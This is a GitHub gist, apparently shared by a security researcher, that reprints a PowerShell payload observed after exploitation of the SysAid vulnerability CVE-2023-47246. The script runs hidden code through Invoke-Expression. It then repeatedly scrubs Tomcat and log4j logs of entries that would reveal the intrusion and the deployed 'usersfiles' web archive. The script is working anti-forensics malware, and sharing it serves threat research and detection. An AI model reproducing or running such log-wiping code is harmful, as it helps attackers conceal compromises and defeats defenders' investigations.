Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Created November 10, 2023 00:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnHammond/7a50a511003eb10fd988827f5e6a9319 to your computer and use it in GitHub Desktop.
Save JohnHammond/7a50a511003eb10fd988827f5e6a9319 to your computer and use it in GitHub Desktop.
Observed secondary PowerShell payload following CVE-2023-47246 exploitation
$env:SehCore = '@
$tomcat_dir = "C:\Program Files\SysAidServer\tomcat";
$log4j_dir = "C:\Program Files\SysAidServer\root\WEB-INF\logs";
$log4jPattern = "userentry|getLogo\.jsp|Got\ LDAP\ file|ldapSyms|usersfile|time=11891398229";
$tcPattern = "userentry|getLogo\.jsp|Got\ LDAP\ file|ldapSyms|usersfile|time=11891398229";
function cleanLL {
$fl = Get-ChildItem "$log4j_dir";
for ($i=0; $i -lt $fl.Count; $i++) {
$logFile = $fl[$i].FullName;
if (Select-String -Pattern "$log4jPattern" -Path "$logFile") {
Get-Content -Path "$logFile" | Select-String -Pattern "$log4jPattern" -NotMatch | Set-Content -Path "$logFile.bck";
cp "$logFile.bck" "$logFile"
}
}
$fl = Get-ChildItem "$tomcat_dir\logs\";
for ($i=0; $i -lt $fl.Count; $i++) {
$logFile = $fl[$i].FullName;
if (Select-String -Pattern "$tcPattern" -Path "$logFile") {
Get-Content -Path "$logFile" | Select-String -Pattern "$tcPattern" -NotMatch | Set-Content -Path "$logFile.bck";
cp "$logFile.bck" "$logFile"
}
}
}
sleep 5;
cleanLL;
while(1) {
sleep 5;
if(!(Test-Path "$tomcat_dir\webapps\usersfiles.war")) {
while((Test-Path "$tomcat_dir\webapps\usersfiles")) {
sleep 1;
}
cleanLL;
break;
}
if((Test-Path "$tomcat_dir\webapps\usersfiles\leave")) {
Remove-Item -Path "$tomcat_dir\webapps\usersfiles\leave";
sleep 5;
cleanLL;
break;
}
else {
cleanLL;
}
}
@'
$s=$env:SehCore;
$env:SehCore="";
Invoke-Expression $s;
;echo CLN_ST;
exit 0;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment